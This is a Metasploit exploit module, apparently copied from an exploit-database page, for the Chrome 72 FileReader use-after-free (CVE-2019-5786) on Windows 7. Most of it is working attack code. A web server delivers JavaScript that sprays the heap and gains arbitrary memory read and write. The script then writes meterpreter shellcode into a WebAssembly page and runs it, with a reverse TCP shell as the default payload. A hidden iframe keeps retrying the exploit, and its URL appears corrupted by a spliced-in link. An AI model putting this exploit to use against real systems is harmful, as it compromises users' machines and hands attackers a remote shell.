1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Chrome 72.0.3626.119 FileReader UaF exploit for Windows 7 x86', 'Description'=> %q{ This exploit takes advantage of a use after free vulnerability in Google Chrome 72.0.3626.119 running on Windows 7 x86. The FileReader.readAsArrayBuffer function can return multiple references to the same ArrayBuffer object, which can be freed and overwritten with sprayed objects. The dangling ArrayBuffer reference can be used to access the sprayed objects, allowing arbitrary memory access from Javascript. This is used to write and execute shellcode in a WebAssembly object. The shellcode is executed within the Chrome sandbox, so you must explicitly disable the sandbox for the payload to be successful. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Clement Lecigne', # discovery 'István Kurucsai', # Exodus Intel 'timwr', # metasploit module ], 'References' => [ ['CVE', '2019-5786'], ['URL', 'https://github.com/exodusintel/CVE-2019-5786'], ['URL', 'https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/'], ['URL', 'https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analysis-of-a-chrome-zero-day-cve-2019-5786/'], ['URL', 'https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html'], ], 'Arch' => [ ARCH_X86 ], 'Platform' => 'windows', 'DefaultTarget'=> 0, 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Targets'=> [ [ 'Automatic', { } ] ], 'DisclosureDate' => 'Mar 21 2019')) end def on_request_uri(cli, request) print_status("Sending #{request.uri}") if request.uri =~ %r{/exploit.html$} html = %Q^ <html> <head> <script> let myWorker = new Worker('worker.js'); let reader = null; spray = null; // nested arrays used to hold the sprayed heap contents let onprogress_cnt = 0; // number of times onprogress was called in a round let try_cnt = 0;// number of rounds we tried let last = 0, lastlast = 0; // last two AB results from the read let tarray = 0; // TypedArray constructed from the dangling ArrayBuffer const string_size = 128 * 1024 * 1024; let contents = String.prototype.repeat.call('Z', string_size); let f = new File([contents], "text.txt"); const marker1 = 0x36313233; const marker2 = 0x37414546; const outers = 256; const inners = 1024; function allocate_spray_holders() { spray = new Array(outers); for (let i = 0; i < outers; i++) { spray[i] = new Array(inners); } } function clear_spray() { for (let i = 0; i < outers; i++) { for (let j = 0; j < inners; j++) { spray[i][j] = null; } } } function reclaim_mixed() { // spray the heap to reclaim the freed region let tmp = {}; for (let i = 0; i < outers; i++) { for (let j = 0; j + 2 < inners; j+=3) { spray[i][j] = {a: marker1, b: marker2, c: tmp}; spray[i][j].c = spray[i][j] // self-reference to find our absolute address spray[i][j+1] = new Array(8); spray[i][j+2] = new Uint32Array(32); } } } function find_pattern() { const start_offset = 0x00afc000 / 4; for (let i = start_offset; i + 1 < string_size / 4; i++) { if (i < 50){ console.log(tarray[i].toString(16)); } // multiply by two because of the way SMIs are stored if (tarray[i] == marker1 * 2) { if (tarray[i+1] == marker2 * 2) { console.log(<code>found possible candidate objectat idx ${i}</code>); return i; } } } return null; } function get_obj_idx(prop_idx) { // find the index of the Object in the spray array tarray[prop_idx] = 0x62626262; for (let i = 0; i < outers; i++) { for (let j = 0; j < inners; j+=1) { try { if (spray[i][j].a == 0x31313131) { console.log(<code>found object idx in the spray array: ${i} ${j}</code>); return spray[i][j]; } } catch (e) {} } } } function ta_read(addr) { // reads an absolute address through the original freed region // only works for ta_absolute_addr + string_size (128MiB) if (addr > ta_absolute_addr && addr < ta_absolute_addr + string_size) { return tarray[(addr-ta_absolute_addr)/4]; } return 0; } function ta_write(addr, value) { // wrtie to an absolute address through the original freed region // only works for ta_absolute_addr + string_size (128MiB) if (addr % 4 || value > 2**32 - 1 || addr < ta_absolute_addr || addr > ta_absolute_addr + string_size) { console.log(<code>invalid args passed to ta_write(${addr.toString(16)}, ${value}</code>); } tarray[(addr-ta_absolute_addr)/4] = value; } function get_corruptable_ui32a() { // finds a sprayed Uint32Array, the elements pointer of which also falls into the controlled region for (let i = 0; i < outers; i++) { for (let j = 0; j + 2 < inners; j+=3) { let ui32a_addr = addrof(spray[i][j+2]) - 1; let bs_addr = ta_read(ui32a_addr + 12) - 1; let elements_addr = ta_read(ui32a_addr + 8) - 1; // read its elements pointer // if the elements ptr lies inside the region we have access to if (bs_addr >= ta_absolute_addr && bs_addr < ta_absolute_addr + string_size && elements_addr >= ta_absolute_addr && elements_addr < ta_absolute_addr + string_size) { console.log(<code>found corruptable Uint32Array->elements at ${bs_addr.toString(16)}, on Uint32Array idx ${i} ${j}</code>); return { bs_addr: bs_addr, elements_addr: elements_addr, ui32: spray[i][j+2], i: i, j: j } } } } } var reader_obj = null; var object_prop_taidx = null; var ta_absolute_addr = null; var aarw_ui32 = null; function addrof(leaked_obj) { reader_obj.a = leaked_obj; return tarray[object_prop_taidx]; } function read4(addr) { // save the old values let tmp1 = ta_read(aarw_ui32.elements_addr + 12); let tmp2 = ta_read(aarw_ui32.bs_addr + 16); // rewrite the backing store ptr ta_write(aarw_ui32.elements_addr + 12, addr); ta_write(aarw_ui32.bs_addr + 16, addr); let val = aarw_ui32.ui32[0]; ta_write(aarw_ui32.elements_addr + 12, tmp1); ta_write(aarw_ui32.bs_addr + 16, tmp2); return val; } function write4(addr, val) { // save the old values let tmp1 = ta_read(aarw_ui32.elements_addr + 12); let tmp2 = ta_read(aarw_ui32.bs_addr + 16); // rewrite the backing store ptr ta_write(aarw_ui32.elements_addr + 12, addr); ta_write(aarw_ui32.bs_addr + 16, addr); aarw_ui32.ui32[0] = val; ta_write(aarw_ui32.elements_addr + 12, tmp1); ta_write(aarw_ui32.bs_addr + 16, tmp2); } function get_rw() { // free up as much memory as possible // spray = null; // contents = null; force_gc(); // attepmt reclaiming the memory pointed to by dangling pointer reclaim_mixed(); // access the reclaimed region as a Uint32Array tarray = new Uint32Array(lastlast); object_prop_taidx = find_pattern(); if (object_prop_taidx === null) { console.log('ERROR> failed to find marker'); window.top.postMessage(<code>ERROR> failed to find marker</code>, '*'); return; } // leak the absolute address of the Object const obj_absolute_addr = tarray[object_prop_taidx + 2] - 1;// the third property of the sprayed Object is self-referential ta_absolute_addr = obj_absolute_addr - (object_prop_taidx-3)*4 console.log(<code>leaked absolute address of our object ${obj_absolute_addr.toString(16)}</code>); console.log(<code>leaked absolute address of ta ${ta_absolute_addr.toString(16)}</code>); reader_obj = get_obj_idx(object_prop_taidx); if (reader_obj == undefined) { console.log(<code>ERROR> failed to find object</code>); window.top.postMessage(<code>ERROR> failed to find object</code>, '*'); return; } // now reader_obj is a reference to the Object, object_prop_taidx is the index of its first inline property from the beginning of tarray console.log(<code>addrof(reader_obj) == ${addrof(reader_obj)}</code>); aarw_ui32 = get_corruptable_ui32a(); // arbitrary read write up after this point } var wfunc = null; let meterpreter = unescape("#{Rex::Text.to_unescape(payload.encoded)}"); function rce() { function get_wasm_func() { var importObject = { imports: { imported_func: arg => console.log(arg) } }; bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; wasm_code = new Uint8Array(bc); wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); return wasm_mod.exports.exported_func; } let wasm_func = get_wasm_func(); wfunc = wasm_func; // traverse the JSFunction object chain to find the RWX WebAssembly code page let wasm_func_addr = addrof(wasm_func) - 1; let sfi = read4(wasm_func_addr + 12) - 1; let WasmExportedFunctionData = read4(sfi + 4) - 1; let instance = read4(WasmExportedFunctionData + 8) - 1; let rwx_addr = read4(instance + 0x74); // write the shellcode to the RWX page if (meterpreter.length % 2 != 0) meterpreter += "\\u9090"; for (let i = 0; i < meterpreter.length; i += 2) { write4(rwx_addr + i*2, meterpreter.charCodeAt(i) + meterpreter.charCodeAt(i + 1) * 0x10000); } // if we got to this point, the exploit was successful window.top.postMessage('SUCCESS', '*'); console.log('success'); wfunc(); // invoke the shellcode //window.setTimeout(wfunc, 1000); } function force_gc() { // forces a garbage collection to avoid OOM kills try { var failure = new WebAssembly.Memory({initial: 32767}); } catch(e) { // console.log(e.message); } } function init() { abs = []; tarray = 0; onprogress_cnt = 0; try_cnt = 0; last = 0, lastlast = 0; reader = new FileReader(); reader.onloadend = function(evt) { try_cnt += 1; failure = false; if (onprogress_cnt < 2) { console.log(<code>less than 2 onprogress events triggered: ${onprogress_cnt}, try again</code>); failure = true; } if (lastlast.byteLength != f.size) { console.log(<code>lastlast has a different size than expected: ${lastlast.byteLength}</code>); failure = true; } if (failure === true) { console.log('retrying in 1 second'); window.setTimeout(exploit, 1); return; } console.log(<code>onloadend attempt ${try_cnt} after ${onprogress_cnt} onprogress callbacks</code>); try { // trigger the FREE myWorker.postMessage([last], [last, lastlast]); } catch(e) { // an exception with this message indicates that the FREE part of the exploit was successful if (e.message.includes('ArrayBuffer at index 1 could not be transferred')) { get_rw(); rce(); return; } else { console.log(e.message); } } } reader.onprogress = function(evt) { force_gc(); let res = evt.target.result; // console.log(<code>onprogress ${onprogress_cnt}</code>); onprogress_cnt += 1; if (res.byteLength != f.size) { // console.log(<code>result has a different size than expected: ${res.byteLength}</code>); return; } lastlast = last; last = res; } if (spray === null) { // allocate the spray holders if needed allocate_spray_holders(); } // clear the spray holder arrays clear_spray(); // get rid of the reserved ArrayBuffer range, as it may interfere with the exploit try { let failure = new ArrayBuffer(1024 * 1024 * 1024); } catch (e) { console.log(e.message); } force_gc(); } function exploit() { init(); reader.readAsArrayBuffer(f); console.log(<code>attempt ${try_cnt} started</code>); } </script> </head> <body onload="exploit()"> </body> </html> ^ send_response(cli, html) elsif request.uri =~ %r{/worker.js$} send_response(cli, 'onmessage = function (msg) { }') else uripath = datastore['URIPATH'] || get_resource uripath += '/' unless uripath.end_with? '/' html = %Q^ <html> <head> <script> function iter() { let iframe = null; try { iframe = document.getElementById('myframe'); document.body.removeChild(iframe); } catch (e) {} iframe = document.createElement('iframe'); iframe.src = 'https://www.exploit-db.com/exploits/46812/#{uripath}exploit.html'; iframe.id = 'myframe'; iframe.style = "width:0; height:0; border:0; border:none; visibility=hidden" document.body.appendChild(iframe); console.log(document.getElementById('myframe')); } function brute() { window.setTimeout(iter, 1000); let interval = window.setInterval(iter, 15000); window.onmessage = function(e) { if (e.data.includes('SUCCESS')) { console.log('exploit successful!'); window.clearInterval(interval); } console.log(e); } } </script> </head> <body onload="brute()"></body> </html> ^ send_response(cli, html) end end end |